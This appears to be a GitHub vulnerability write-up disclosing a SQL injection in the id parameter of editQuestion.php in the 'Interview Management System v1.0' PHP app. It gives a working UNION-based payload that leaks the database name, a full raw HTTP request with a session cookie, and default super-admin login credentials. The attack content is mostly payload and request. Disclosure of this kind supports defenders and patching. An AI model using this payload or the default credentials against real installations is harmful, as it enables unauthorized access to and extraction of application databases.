Fright1Moch Create SQLi-1.md History

1 contributor

31 lines (21 sloc) | 1.08 KB

Interview Management System v1.0 by janobe has SQL injection

BUG_Author: Fright-Moch

Login account: janobe@janobe.com/janobe (Super Admin account)

vendors: https://www.sourcecodester.com/php/14585/interview-management-system-phpmysqli-full-source-code.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /interview/editQuestion.php?id=

Vulnerability location: /interview/editQuestion.php?id=, id

dbname =sourcecodester_interviewdb

[+] Payload: /interview/editQuestion.php?id=-6%20union%20select%201,database()--+ // Leak place ---> id

```
GET /interview/editQuestion.php?id=-6%20union%20select%201,database()--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
```

```
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=fjhrjdpuej6edqv5haoadpj3lc
Connection: close
```